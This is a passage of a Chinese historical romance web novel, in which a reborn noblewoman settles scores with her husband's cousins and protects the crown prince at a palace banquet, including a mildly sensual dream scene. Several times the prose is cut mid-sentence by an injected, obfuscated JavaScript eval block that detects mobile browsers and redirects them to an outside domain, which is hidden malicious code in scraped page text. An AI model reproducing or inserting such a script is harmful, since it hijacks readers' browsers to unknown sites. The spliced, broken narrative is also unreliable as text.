天色已晚,萱姐儿早生了困意,这会儿迷迷瞪瞪的,教方氏一晃悠,登时扯着嗓子哭了出来。 “这是怎的了,这孩子素来不认生啊。”方氏轻拍着孩子后背,一脸疑惑。 “认不认生的,小孩子最是知晓人好坏。”顾瑶用压得极低的声儿嘟囔。 可正厅就这般大,谁人听不见。 顾婷已然低头暗暗掩嘴偷笑起来。 顾缜剑眉蹙起,神色冷沉几分,“瑶儿,你平素也对你二嫂这般说话?” 顾瑶教顾缜语气中的寒意吓得一哆嗦,不想只随意过过嘴瘾,大哥哥便如此计较。 她咬唇不吱声。 顾缜看向一旁的二老爷,二老爷明白他的意思,知他作为堂兄不好越俎代庖替他们长辈教训孩子。 可这种场合,二老爷亦抹不下脸让顾瑶向范玉盈认错道歉,承认自己教导无方。 气氛陷入诡异的尴尬与沉默。 方氏见情形不对,正想打着哈哈含糊过去,却听一道温柔婉转的嗓音响起,“看来,平素我还需得去两位婶娘那儿走动走动,见得多了,萱姐儿自也认识我了。” 范玉盈似乎并未将此事放在心上,说罢,转身看向另一侧,“想必这便是三婶和二妹妹吧。” 周氏起身拉住范玉盈,笑着应了她的礼,“你三叔腿脚不便,近日又偶感风寒,这才没能过来,你三弟还在书院念书,等他回来,我再介绍他与你认识。” 她身后站着的顾二姑娘顾敏亦向她福了福,不同于顾婷两姐妹,顾敏唤她的声儿低低的,眉眼带怯,性子再内敛不过。 厅中的人都认识过了,范玉盈复又立在中央,却是对着婆母苏氏道:“趁着今日过来,儿媳恰有一事,需得求母亲应允。” “你说。” “中秋宫宴在即,儿媳想向母亲求一个懂宫规的嬷嬷。”范玉盈娓娓道,“儿媳素来身子不好,虽说也进过宫,但毕竟不曾参加过宫宴,也不懂其中规矩,刚巧这回可多带一人入宫,想着带个嬷嬷在侧随时提醒儿媳几分,也免得一时不意失了分寸。” 懂宫规的嬷嬷,确实是有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只因奴婢不小心烫着了她,便要将人赶出府去,且他那时分明瞧见了,那丫头胸前湿了一大片,脖颈上亦有烫伤的痕迹,想来应是被热茶泼的。 这是否又是她一怒之下的故意惩罚。 范氏会是那表面病弱柔善,实则恶毒不堪之人吗? 他沉默许久,“这几日,好生盯着大少奶奶的动向。” 顾缜回到葳蕤苑时,已近亥时。 紫苏今日守夜,见了他忙迎上来,“世子爷,姑……大少奶奶倦得紧,已先睡下了。” 顾缜扫了眼房门紧闭的卧间,并未入内,只低低“嗯”了一声,吩咐备水。 一炷香后,他沐浴罢,退了屋内仆婢,始轻轻推开主卧的隔扇门。 卧房内,只幽幽燃着盏小灯,四下皆昏暗看不大清晰。 他压着步子行至那雕花拔步床前,大掌拂开垂地的床幔,便见鼓起的衾被隐隐约约勾出一个窈窕的轮廓。 他只做视而不见,屈膝半跪在床榻上,伸手去取内侧的另一副被褥。 然正欲离开时,一声娇软的嘤咛若无形的丝线缚束他的手脚,陡然止住了他的动作。 他的视线到底落在了床榻之上。 榻上人翻了个身,衾被随之滑落,春光乍现。 桃粉寝衣的系带松散开,一边衣衫随着她的动作而大敞,露出美人白皙光滑的香肩及绣有并蒂莲花的棠红小衣来,鲜艳的红衬得她愈发肤若凝脂,呼吸间雪山沟壑愈显。 她微张着朱唇,睡得很沉,整个床榻内亦散着一股淡淡的雅致的香气,顾缜清楚,这香气来自于范玉盈。 此时的她好似一颗柔软熟透的蜜桃,散发着丝丝甜香,诱人采撷。 他喉结微滚,呼吸粗沉几分,眸底深处似有什么压制不住的东西翻腾着蠢蠢欲动。 手臂不自觉抬起,然伸至半空,理智回笼,顾缜猛然攥拳收回了手,阖眼定了定神,随即飞快抱着被褥退出床榻,亦退出了主卧。 即便在西次间的小榻上躺下后,他的脑海中仍不住盘旋着适才入眼之景,全身的燥热感不住腾升。 直到用习武时学到的法子静心了足足一炷香,顾缜方才压下深处的悸动,末了,终是靠着昨夜一宿未眠的疲累,进入了梦乡。 然很快,耳畔响起了一声痛苦中带着欢愉的“云郎”。 紧接着,顾缜感受到女子柔若无骨的绵软身子瘫倒在他怀中。 梦中女子一如往常般看不清面容,可荒唐的是,那妩媚勾人的嗓音竟与他的新婚妻子有八九分相似。 7. 他的梦 三个月前,忠勇伯爵府设宴那一日,顾缜被人引入客卧,隔着屏风,听到里头传来女子轻柔的低唤声时,心下已知自己中了计,可仍是鬼使神差地走了进去,正因屋内女子的嗓音和梦中与他纠缠不休之人的极其相像。 而后便有了他与范氏这桩突如其来的婚事。 母亲在得知他要娶范家三女时,若天塌了一般,哭得死去活来,众人亦对他报以同情,但一开始,顾缜却对这桩婚事没那么大的抵触。 他甚至时常想起那日在忠勇伯爵府客卧,从范氏身上匆匆掠过的那一眼。 范氏褪了外衫,只着一身轻薄的水绿软烟罗褙子,许是疑惑唤了婢子却不答她,她自小榻上支起身子,折首看来,青丝如瀑般自她肩头垂落,雪白的额头泛着一层薄汗,那双含泪的杏眸尚带着迷蒙的困意,湿漉漉好似一汪清澈见底的泉,让人一眼便沉溺其中。 顾缜承认,范氏生得很美,甚至向来清心寡欲的他轻易就能因她而动情,不管是洞房花烛夜还是第二日清晨,他都险些把持不住。 或是因为,她的嗓音,总令他一瞬间想起梦里那个女子,及梦中所行之事。 然,今日发生的一切,却令他的内心不由开始抗拒范氏。 顾缜不是没有想过,自己将来会娶什么样的妻子。 不同于他母亲的执着,他并不过分追求对方的家世和才貌,可至少性情温良,孝顺长辈这两点须得做到。 但范氏骨子里似乎并非如此。 她刻薄伪善,性子锐利。 而顾缜最不喜的恰恰是这样的人。 “云郎。” 耳畔又是那熟悉的嗓音。 顾缜垂眸看着怀里的女子,不知自己缘何从三月前就开始莫名其妙做起这样的梦。 这女子名唤“枚枚”。 只顾缜不知,究竟是哪个“枚”。 梦中场景时常变换,时而在一片芳菲漫天的桃林里,时而处在一辆马车上,时而在一面湖的窗扇前,但今日,唯有一张垂落了帐幔的床榻,四下白茫茫一片虚无。 女子看不清面容,却总这般暧昧缠绵地呼唤着他。 他的字正是“云疏”。 可分明是他的梦,顾缜却觉自己更像个旁观者,虽随着那起伏跌宕而切实地感受着醉魂酥骨的滋味,却从来无法按自己的心意操控梦中这具身体。 但今日不同。 尤其在女子右手腕处瞧见和范氏一样的烫伤痕迹时,顾缜心跳停滞了一瞬,甚至觉得自己疯了。 然下一刻,看着怀中女子被“自己”狠狠按倒在床榻上,他却清楚地知道,这便是他想做之事。 心底最深处的阴暗若藤蔓般疯狂滋生。 是啊,一场梦而已。 他像是说服了自己,既然声音相似,这女子可以是他不喜的范氏,亦可以不是。 他顺从着梦中自己那不受控的发狠,终于染指了那颗熟透的桃。 “他”急不可耐地撕开那薄薄的外皮,啃咬白嫩爽口的果肉,内里流淌出的汁水同想象一般丰沛香甜,流连唇齿,这一夜,“他”酣畅淋漓地将之从内到外反复品尝了许久许久…… 翌日,范玉盈醒来时,下意识往身侧瞧了一眼,发现里面铺着的枕头和被褥几乎没什么褶皱,但有一床叠起的衾被似挪了位置时,不由得松了口气。 看来昨夜,顾缜应还是睡在了外头,这会儿当是上朝去了。 想起昨夜那梦,她不由翻了个身,将脸埋在衾被里,双颊逐渐滚烫起来。 幸得顾缜未与她同榻而眠,不然若听见她夜间做梦时发出些奇怪的声响,可如何是好。 睡在夫君身侧,却在梦中与旁的男子缠绵,范玉盈觉着自己像极了……红杏出墙。 且昨夜梦里那男人也太疯了些,虽快活,但也实在粗鲁,翻来覆去,没完没了的。 红芪等人进来伺候时,见范玉盈面颊泛红,顿时担忧地去探主子的额头,“姑娘可是烧了,脸怎这般红,要不叫大夫过来瞧瞧。” 范玉盈哪里好说自己发了那样的梦,只摇了摇头,道自己无恙。 红芪便伺候她更衣洗漱,坐着梳妆时,范玉盈问了时辰,旋即催促道:“手脚快些,一会儿还需得去松茗居请安。” 一旁的青黛与白芷对看一眼,心下有些奇怪,她家姑娘当初连敬茶都不愿去,这会儿怎还上赶着去大夫人那厢晨昏定省。 范玉盈透过铜镜,看出俩小丫头的心思,抿唇笑了笑,还能为甚,自是为着今儿个指不定有热闹可瞧。 此时的松茗居确实热闹。 苏氏贪觉,一向起的迟,今日才醒,就听闻二房夫人带着两位姑娘来了。 所谓无事不登三宝殿,也不知那方氏又打什么鬼主意。 她早饭也未吃,便出来见客,想着聊两句就草草打发回去,谁料方氏一开口便是有求于她。 求的不是旁的,竟是想让范玉盈在中秋宫宴那日带她家女儿入宫。 苏氏这才想起,昨夜她那新儿媳来敬茶时,的确说过,她可多带一人赴宴。 不想随口提起的一句,倒是让这母女三人动了心思。 也是,顾婷今岁十五,顾瑶十三,两人都到了可以定亲的年岁。中秋宫宴不同于寻常筵席,去的都是皇孙贵胄,若有幸嫁得高门,那可真是一朝飞上枝头。 “缜哥儿没有亲姊妹,但婷儿瑶儿与他亲姊妹何异,若她们嫁得好了,那将来指不定还能帮衬缜哥儿几分,大嫂,你说是不是。” 见苏氏不言,方氏忙提起顾缜,她再清楚不过,她这大嫂最在意的便是她宝贝儿子的前程。 范玉盈进来时,恰好听到了这话,她唇角轻扬,掀帘而入。 “大少奶奶来了。” 听到外头的通传声,方氏愣了一愣,满脸笑意道:“缜哥儿媳妇来了。” 不同于昨日对她的鄙夷和冷淡,顾婷顾瑶快步上前,亦拉着她亲昵地唤着“大嫂”。 范玉盈含笑不动声色地甩开二人的手,同苏氏请安,“母亲和二婶在聊些什么,儿媳在外头便听见二婶说什么嫁不嫁的,可是两个妹妹的婚事有了着落。” 方氏没有言语,转而看向苏氏。 范玉盈亦顺势看去。 苏氏默了默,直截了当开口:“中秋宫宴,你不是能多带一人进宫嘛,你二婶想让你带个妹妹一道去,这事我不好替你决定,你觉得如何?” 方氏闻言,笑意凝在脸上,她一个长辈,本就是因自个儿拉不下脸来求范玉盈,才想着通过苏氏这个婆母来施压于她,不想到头来苏氏却还是将这事抛回给了范玉盈。 她只得堆笑着道:“缜哥儿媳妇,咱都是一家,所谓同气连枝,你妹妹们嫁的好对定北侯府自也有益,你说是也不是?” 范玉盈面露为难,迟疑片刻道:“二婶,此事……我只怕是不好决定。” 方氏眸色骤然凉下去,忽而低哼了一声,自嘲一笑,“也是,你不愿帮忙二婶也理解,毕竟你两个妹妹也非嫡亲,终究是隔了一层,不一样了。” 听方氏在那阴阳怪气,欲以她这人不顾念亲情相逼,范玉盈也不恼,“二婶误会了,并非我不愿带妹妹们入宫,二婶也知道,我需得带嬷嬷一道,就算不带侍婢,能带也只一人。论年岁,本该紧着大妹妹,可二妹妹的年纪也差不太多,未必不想入宫参宴,若不考虑她,难免有失公允,至于三妹妹,虽得还小,但早些去宫宴长长见识,也未尝不可。” “这事好办!”方氏见有希望,喜道,“一会儿我便去同你三婶说说,听闻你二妹妹已有了夫婿人选,大抵也无需参宴。就像你说的,你大妹妹到了年岁,自该先紧着她。” 闻得此言,一旁顾婷喜形于色,而原带着笑意的顾瑶脸色却骤然垮了下来。 “那便再好不过。”范玉盈看向顾瑶,“只委屈三妹妹了,将来若还有机会,大嫂再带你入宫。你也莫难过,嫂嫂那儿有几匹好料子,都是贡品,只颜色太过鲜亮,我自个儿不好穿,恰是适合你们这些未出阁的小姑娘,一会儿给你和你两个姐姐送去,好裁做秋衣。” 顾瑶听了,并未高兴起来,她又不傻,衣裳再好,能有进宫好,何况将来指不定没这般机会了。而顾婷自是再欢喜不过,口上言谢,却心道这范玉盈是个蠢的,还以为昨夜顾瑶说了那样的话,她恐不会轻易答应,谁知竟这般容易,被她们利用了却浑然不知,还巴巴地给送料子。 苏氏虽没说什么,心下可气的不轻。 她本就是因不想成全方氏,而故意让范玉盈推辞,哪知她才被羞辱,今日就上赶着给人帮忙,莫不是傻了,菩萨都没她这般心善。 待方氏带着两个女儿心满意足地离开后,苏氏微沉着脸道:“你倒也不必如此好心,软弱可欺只会让人爬到你头上。” 被方氏利用得多了,苏氏而今也清醒几分,什么为了她家缜儿,分明全是方氏自个儿的私心,她才不上当。 可她这传说嚣张跋扈的儿媳怎竟是个拖她后腿的蠢蛋呢。 见范玉盈乖巧地应是,没脾气一般,苏氏气不打一处来,随便找了个由头就将她打发了出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469884|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 出了松茗院的门,同样不解的青黛再忍不住,“姑娘,那顾大姑娘和三姑娘昨日如何说您的您也听见了,怎还帮她们呢。” 她们家姑娘在范府时,从来是毫无畏惧,亦无人敢招惹的,怎来了这侯府变得这般子逆来顺受。 范玉盈不言,只轻笑着吩咐了红芪两句,红芪心底本隐隐有所猜测,这会儿算是彻底明白了。 她欢快地道了声“是”,心叹果真还是她家姑娘了。 因忙于公务,夜间,顾缜回来时已是戌时三刻。 见李寅候在府门口,快步上前替他牵马,顾缜剑眉微蹙,晓得是府内出了事儿。 果然,入府后,及至无人处,李寅低声道:“爷,今日午后,二房两位姑娘为争一匹料子大打出手,还都破了相。” 听至此,顾缜未开口询问,即便不问他也清楚,此事定与大房有关。 李寅继续道:“那料子,是大少奶奶送去的。” 得了肯定的答案,顾缜薄唇紧抿,沉默片刻后,缓下步子道:“将今日发生之事,一五一十细说我听。” 李寅便将所打听到的一切,尽数道出。 待他说罢,已与顾缜站在了葳蕤苑垂花门前。 守门的仆婢欲出声通报,被顾缜抬手止了,他提步踏进去,却在抄手游廊处停了下来。 穿过院中桂花树茂盛的枝叶缝隙,一个婀娜窈窕,般般入画的身影正坐在主屋明间,百无聊赖地翻看手上的书卷,但她似乎并未看进去,反是嘴角噙笑,兴致勃勃听身侧的婢子滔滔不绝地说着什么。 打昨日在正厅听范氏提起宫宴一事时,顾缜便有所猜想,只是没想到这么快就得了应证。 不知情的都以为她傻,被人讥讽了也满不在乎,却不知她这人最是睚眦必报,而今不过小小的一招轻轻松松便离间了顾婷两姐妹,也替自个儿出了气。 顾缜并不觉二房无辜,在听到顾瑶无视长幼礼数,在那里暗讽范玉盈时,他便知他这两个堂妹被二叔二婶养坏了秉性,需得吃一番训诫。 可范氏这般行为似乎又在告诉他,她根本不是如表面那般病弱纤柔。 且她做得如此得心应手,除却回门时那婢子的事,类似之事,她从前又做过多少? 顾缜又想起坊间那些关于范家三女不堪的传言。 他那岳丈素来由着女儿的性子,自小娇惯着她,但听闻过世的范老夫人因灾星的名声,对这个最小的孙女并不大欢喜,还趁着范仲丞奉命督建皇陵之际,以养病为由让年仅八岁的范玉盈去城郊庄子上住了整整四年。 而范玉盈气死了自己亲祖母一说,也非全然空穴来风。因当年正是范玉盈从重病的范老夫人房中出来后,范老夫人被伺候的婆子发现摔倒在床下,神色狰狞,颤巍巍直指着范玉盈离开的方向,呕出一口血,很快便断了气。 她真的会因为曾经的薄待,而对自己的亲祖母下手吗? 顾缜不知内情,亦不想再得到令他不满意的答案。 他眼睫微垂,转向李寅,只做自己而今该做之事,“去松茗居,让夫人派人去二房那儿传个话,便说姐妹相争以至于大打出手,传出去未免惹人笑话,祖母回来也定会严惩,让两个姑娘自去祠堂罚跪,好生反省反省。” 那头,主屋内。 青黛正舌灿莲花,将自个儿听到的乐事儿,绘声绘色地讲予范玉盈听。 讲至顾瑶与顾婷扭打起来,互相抓伤了对方的脸,奴婢们怎也拉不住时,不由笑得前俯后仰。 范玉盈料到这姐妹俩定会翻脸,不想竟闹得比她想象的还要大。 她送去的两匹料子,虽都不差,可其中一匹织金锦缎无论是颜色还是质地却更胜一筹,这是她大姐姐给她添的妆,出自东宫自然不凡。 不过范玉盈并不喜那花色,本也只搁在箱子里吃灰。 可二房两姐妹鲜见这般好东西,顾婷要入宫参宴,自是想要这匹料子做衣,届时才好不被其他贵女比了去,可顾瑶已然让了一回,怎还会肯,两人皆是自私自利的性子,闹不起来才怪。 范玉盈啜了口茶水,她可不是什么大度的人,听旁人当面讽刺她还能无动于衷。 不过,顾瑶那话说的不错,她不是什么好人。 只从前她肆意张扬,无所顾忌,重活一世却也懂得了收敛锋芒来以牙还牙。 因她懂得唯有比旁人更狠,才能不受欺辱。 凉风拂入,一室桂花香。 范玉盈仿若听到什么动静,然抬首望向院中,秋夜静谧,空无一人 8. 听见 二房出事后的第三日,因顾老夫人年岁大了,途中身子不适,停留耽搁在了路上,恐中秋后才能抵达,苏氏只得自外头另请了个嬷嬷来给范玉盈教习宫规。 范玉盈一早便起来乖乖跟着学习规矩,也不去松茗居请安了,不过这事儿并非范玉盈提的,实在是她前几日太过“勤勉”,每日早早得去,扰了苏氏的懒觉,逼得苏氏不得不主动免了范玉盈的晨昏定省。 不过那嬷嬷只早上在葳蕤苑待一个时辰,午后却往南院的二房那厢跑。 听闻顾婷顾瑶这回吃的教训不小,两人不但受了伤,跪了一夜的祠堂,还被禁足在房中,每日学习规矩。 二老爷冲方氏发了一通火,怪她未教养好女儿,两人大吵了一架,听说之后好几日二老爷都未再踏足方氏的院子,轮换着在两个妾室那儿留宿。 当然,顾婷顾瑶伤了脸,也别想着入宫的事了。不过就算无伤,范玉盈也压根没打算带她们赴宴。 什么还可多带一人,一开始就是她在面不改色地胡诌。 偏二房愚蠢,因她大姐姐是太子妃而以为她真得了什么恩典。 可既做了戏,便得好生收个场,中秋前几日,范玉盈又去松茗居请示苏氏,说旁人都只带着一个婢女,她多带一人,反而惹眼,左右规矩都学得差不多了,不必让嬷嬷陪着一道去。 苏氏觉得有理,加之二房那头吃了瘪,她近日高兴得紧,还觉得是范玉盈阴差阳错造就的,怎会不应。 转瞬便到了八月十五当日,午后,紫苏几人便伺候着范玉盈梳妆,及至申时四刻,她带着紫苏出府去坐前往皇宫的马车。 顾缜已在外头等,看样子应是才从大理寺回来。 范玉盈立在正门内与他对望着。 男人身若修竹,芝兰玉树,再俊朗养眼不过,她却觉陌生得紧,甚至都快忘了顾缜生的什么模样。 说来,打回门那日起,这近十日来她再未见过他,不是顾缜不回来,而是他回得迟,往往是她睡下后,他才归,待她醒来,顾缜早上朝去了。 她行至顾缜跟前施了一礼,顾缜颔首,反应极淡,只伸手扶着她上了马车,旋即自己翻身上马。 紫苏心细如发,怎可能看不出她家姑娘和世子间生了问题。 好几次,恰逢她值夜遇到世子,都是她主动道她家姑娘已然睡下,世子只应声默默看向紧闭的隔扇门,并不多问一句。 待坐上马车,她挑着时机,开口道:“姑娘,奴婢觉得,世子是不是看出二房两位姑娘的事是您故意为之,与您置气呢。” 范玉盈自然知晓。 他顾缜一个大理寺少卿,怎会看不出她这点拙劣伎俩。 她阖眼靠着车壁,懒懒开口,“那又如何。” 紫苏张了张嘴,欲言又止,末了,还是不再多言。 今日参宴的人不少,及至宫门处,等候入宫的马车已排起了长龙。 待轮到定北侯府时,天儿已彻底暗了下来,寻常车马不得驶入宫门,范玉盈只得下车随顾缜一路走去设宴的朝华殿。 穿过长长的宫门道,一片宽阔的广场在眼前赫然铺开,各式瑞兽花灯置于其中,与高悬天际的白玉盘相映成辉。 一帮锦衣华服的孩童提着灯在其间奔跑戏耍,后头跟着小心翼翼护着的宫人们。 或是孩子们笑得太欢了些,范玉盈忍不住驻足望着,却怎也回忆不起儿时相似的经历。 能想起来的,唯有屋内挥散不去的药味儿和祖母冰冷嫌恶的眼神。 这种热闹,从来与她无关。 她平静地收回视线,继续往前走。 朝华殿算不得太远,可架不住范玉盈身子实在是弱,踏上丹墀,步入殿内的一刻,她已然有些疲累难喘,紫苏看出她的异样,忙半扶住她。 没一会儿,各位贵人也紧接着入殿。 范玉盈没让紫苏再扶,强撑着一一行礼,直到瞧见一端然而来的鸢色身影时,身上的不适感似在瞬间一扫而空。 她仍是照常施礼,但低身后却忍不住稍稍抬首看去,正与那头视线相撞。 女子眉眼与她颇为相像,可不同于她的清冷淡漠,女子端庄娴雅,温婉似水,笑若春日暖阳令人心生熨帖,又如牡丹娇艳大气。 这便是她最敬重的大姐姐,范玉宁。 与她一同步入殿中的男子着绣有十二章纹的吉服,清朗俊逸,周身气度高华,虽举手投足透出一股与生俱来的矜贵,却眉目和善,平易近人。 正是大盛太子,先裕贞皇后独子杨濂,亦是范玉盈前世那因巫蛊之祸而无辜枉死的大姐夫。 虽在人群中一眼便瞧见了妹妹,但范玉宁到底不好在她身上多做停留,很快收回视线。 她秀眉微颦,发现妹妹的面色似有些不大好,垂首担忧间,一只大掌握住了她掩在袖中的手。 “你与三妹也有段时日未见了,一会儿宴席罢,可邀她去东宫小坐。” 范玉宁听太子在她耳畔说着,眸中笑意浓了几分,压低声儿恭敬地道了句“多谢殿下”。 太子夫妇入殿后不久,随着一阵高呼的“参见陛下”,当今天子即景贞帝与皇贵妃一道步入朝阳殿。 一声“平身”后,范玉盈抬首望向高坐于龙椅之上,面上含笑却不怒自威的帝王,始终想不明白,本可以青史流芳的景贞帝,缘何会在晚年糊涂到听信佞臣所言,对太子赶尽杀绝。 即便政见相左,太子也是他与先皇后唯一的儿子,怎能下得去手。 她沉默片刻,将目光稍稍偏移一些,落在景贞帝身侧那雍容华贵的女子上。 皇贵妃赵氏,颇得景贞帝宠爱,自一年前先皇后过世,便代为打理后宫内务,其所出的四皇子杨涵亦为不少朝臣拥护,图谋取代太子。 说来,她与顾缜的这桩婚事,正是拜这场夺位之争所赐。 朝野间太子党与四皇子党明争暗斗,可定北侯府却始终处于中立,一心效忠陛下,并不参与其中,然定北侯驻守西北边陲,手握虎符,执掌数十万大军,无论哪方得之,皆是如虎添翼,于是皇贵妃盯上了三年前自边境归来侍奉祖母,尚未娶妻的定北侯世子顾缜。 忠勇伯爵府那事的原委,范玉盈从她大姐姐后来说的话里猜到了大概。 顾缜原要进去的应是皇贵妃的亲侄女即赵家五姑娘所在的客卧,但这计划不知为何被淮阳长公主得知,长公主亦是太子一党,自不可能令皇贵妃如愿,本打算毁了这事,但突然出现了她这个变故,索性将计就计,让顾缜顺势娶了她,彻底令皇贵妃落了个空。 景贞帝今日兴致极佳,笙歌曼舞间,举了好几次杯,范玉盈饮不得,虽只虚虚跟着抬起杯盏,但酒水沾了唇,难免吞咽下一些。 她很快便觉有些头晕目眩,恍恍惚惚间,一些回忆涌入脑海,她倏然一个激灵,看向大殿外。 前世大多时候,范玉盈都待在她的院里不出去,真真是两耳不闻窗外事,她那父亲极偶尔来她院里看她,她又没甚同龄的密友,采薇轩永远都冷冷清清的,只她那二姐姐,每每来府里帮着查账打理内务时,会坐上好一会儿与她闲谈。 说是闲谈,更像是她二姐自个儿在那喋喋不休,边念叨她性子太孤僻,需得多出去走走,边给她讲京中近日发生之事。 范玉盈隐约记得,这一年的中秋宫宴,生了一桩事。 太子宅心仁厚,体恤百姓,与杀伐果决的景贞帝不同,主张以仁政治理天下。 西南瑄岚小国与大盛交战已久,边境百姓苦不堪言,半年前,瑄岚王在同样主和的大王子劝说下,起了与大盛谈和之心,并修书一封奉予景贞帝。 朝中对此事众说纷纭,主战派和主和派各执一词,最后主和的太子在殿前自请前往西南,与瑄岚议和。 三月后,两方达成一致,太子带着商议结果返回京城,只等景贞帝应允后签署和书。 而瑄岚王为表诚意,特派使者护送六岁的七王子趁此中秋赴京献礼。 而问题就出在这份礼上。 七王子所献之物是刻有日月的金銙带,日月高悬于天,正符合景贞帝天子的尊贵身份。 可同样的金銙带,七王子偏偏献了两份,一份给了景贞帝,还有一份则献给了太子。 还道其父王曾言,太子对瑄岚有恩,务必要对太子施以谢意。 景贞帝面色骤变,幸得太子机敏,立刻询问七王子可是瑄岚王明言让他将此物送予他。 七王子怔愣之下,答说是有人告诉他,大盛的太子等同于天子。 太子旋即跪于殿前,言七王子年幼,不知大盛向来赠礼赠双的规矩,可瑄岚王不会不知,此事恐是误会。 陪同七王子一道来的其中一位使臣面色苍白,似并不知此事,忙上前跪拜道太子所言极是。 正值佳节,殿中又坐有诸多朝臣,纵然太子的解释牵强,景贞帝也不好发作,最后,只微沉着面色命身侧的总管太监上前收了礼。 听闻之后,七王子回返,使团中少了一人,外头流传说,正是那人不愿求和,故意诱导年幼的七王子向太子献礼,以惹怒景贞帝,搅黄议和之事,事情败露的当晚其畏罪自尽。 此事至此似是了了,可未必没在景贞帝心中埋下怀疑的种子,为将来之事布下隐患,毕竟当时有传言说,瑄岚已为太子拥趸。 范玉盈揉了揉脑袋,记得献礼应是在宴席将尽之时,她转向顾缜,把手落在小腹上,低语,“世子爷,妾身想去外头……走动走动。” 顾缜打量她片刻,蹙眉问道:“可是身子不适?” 范玉盈勉笑了一下,“妾身无甚大碍。” 顾缜迟疑半晌,嘱咐紫苏,“照顾好大少奶奶。” 紫苏应声,扶着范玉盈站起来,范玉盈步子已然有些不稳,但还是努力佯装着,生怕让顾缜瞧出异样。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469885|185524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 出了朝阳殿,她放松几分,一抬首,恰见几人站在殿外长廊下,一身异族打扮,最前头有个约莫六七岁的男童,圆溜溜的眼睛,正好奇地往四下打量。 她果然没有记岔。 紫苏真以为范玉盈要去净手,正琢磨着问问外头候着的宫人,谁料她家主子竟轻轻推开她的手,径直向前而去。 然没走几步,却是摇摇晃晃一头栽下去,还顺势拽了把一端着承盘的男子。 男子手一晃,承盘应声坠地,其上雕花繁复的漆盒掉落,有金灿灿的物什被摔了出来。 “姑娘。”紫苏吓了一跳,忙上前搀扶。 四下乱作一团。 范玉盈艰难地站起身,假作虚弱的模样,见瑄岚使臣着急忙慌去查看献礼,慌乱询问道:“可有摔坏,这两样东西应都是献给陛下的吧?” 她说着这话,眼睛却是直勾勾盯着一旁的男童。 小王子哪里见过这么好看的女子,他一时看傻了眼,见东西无恙,答道:“这是献给大盛陛下和太子的,没有摔坏,夫人怎的摔倒了,是身子不适吗?” “不过有些头晕,无妨。”范玉盈福了福,“想必您便是瑄岚的王子殿下吧,可莫要因为我耽误了殿下的事才好。” 瑄岚使臣已因七王子适才一言而变了脸色,也顾不得他正与范玉盈说话,忙将七王子拉到一旁。 范玉盈神色自然地由紫苏扶着离开,隐隐听得后头那使臣焦急的声儿传来。 “……给太子献礼这事儿,是谁同您说的……” 她在心下长舒了口气。 稍走远了些,紫苏终是忍不住问道:“姑娘不是要去盥洗吗?可需寻个宫人问问。” “不必了,我不过寻个由头出来透口气。”范玉盈说罢,将大半身子靠向紫苏,苦笑道,“其实,适才殿门口那一跤,我不意崴了右脚。” 紫苏闻言慌忙扶着范玉盈在前头凉亭内坐下,借着小径两头燃着的宫灯,见她家姑娘额上泛着冷汗,双唇几乎没了血色,她险些哭出来,“姑娘,您怎不早说,您是不是很疼,奴婢这就去殿中将世子爷请来。” “再等等。”范玉盈拉住她,“紫苏,若一会儿世子爷问起,就说我是自个儿在路上跌的跤,切莫提起那瑄岚。” 虽献礼一事得了解决,但若她料得不错,今夜使臣团中那诱骗七王子之人便会自尽,届时顾缜作为大理寺少卿必会参与调查,他敏锐又多疑,不能让他知晓自己与瑄岚人有过接触。 范玉盈这会儿昏沉又无力,左脚脚踝处更是隐隐作痛。 她不由得自嘲一笑,这副身子当真脆弱极了。 “世子夫人可真会挑地方,竟拣着此处躲清净。” 听得这声,范玉盈抬眸看去,便见一娉婷的身影缓缓步上凉亭,凝着她的脸瞧了好一会儿,范玉盈方才认出来人。 当真是冤家路窄。 她以手托颌,没力气应付她。 赵挽琴见范玉盈对她不理不睬,面上露出些许难堪,她本就对范玉盈心怀不满,登时讥讽道:“世子夫人好大的架子,别是以为嫁入了定北侯府,便可以仗着世子为所欲为了。” 范玉盈懒懒抬起眼睑,扫她一眼,“不然呢?赵五姑娘莫不是艳羡我这世子夫人的位置,那当初怎不多努力努力?” 她眼前这赵挽琴不是旁人,正是皇贵妃的亲侄女,那个皇贵妃原设计顾缜欲令他娶的女子。 赵挽琴被这话猛的一噎,本在众人面前再端庄温婉不过的贵女这会儿却颇显得气急败坏,“范玉盈,你也不看看你是什么名声,不过一时走了运才嫁予世子,空有一副皮囊罢了,世子文韬武略,这般优秀的男子,你如何配得上他!” 看着这位赵五姑娘说话间眼中盘旋的泪水,范玉盈稍一挑眉,不想赵挽琴对那顾缜竟是真心的。 她嗤笑一声。 “你们都觉这桩婚事委屈了他顾缜,可我压根不稀罕,但纵然我不要,也绝对便宜不了旁人。”她强忍着脚踝处的疼痛,扶着石桌缓缓站起来,与赵挽琴对视道,“五姑娘若是想嫁他,要么等我死了,他成了鳏夫,要么就等下辈子吧。” 赵挽琴气得直发抖。 这外间的传言果真没冤枉了范玉盈,她说话竟如此恶毒。 